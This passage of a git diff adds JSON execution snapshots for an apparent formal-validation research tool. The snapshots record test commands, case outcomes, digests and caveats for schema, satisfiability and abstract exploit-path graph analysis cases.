"valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v27", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1299-execution-v27", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "08c363f699a81e1755d1afc258620f5bd00975b5", + "source_state": { + "base_revision": "08c363f699a81e1755d1afc258620f5bd00975b5", + "checkout_state": "modified", + "implementation_digest": "d0c553c2d77a2dabd965c6939b9ebf610fac7dd776e662fb1384668d2c3630d6", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v28.json b/docs/research/formal-semantic-validation/execution-snapshot-v28.json new file mode 100644 index 000000000..b5326d474 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v28.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1299-execution-v27", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v27.json", + "release_revision": "28.0.0", + "release_sha256": "d9f783272c5cfce7522475f7a0be80559aef255260b727f4efd41d1e923f3ead" + }, + "captured_at": "2026-09-17T05:22:39.527594+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v28", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1223-execution-v28", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1223-execution-v28", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v28", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": 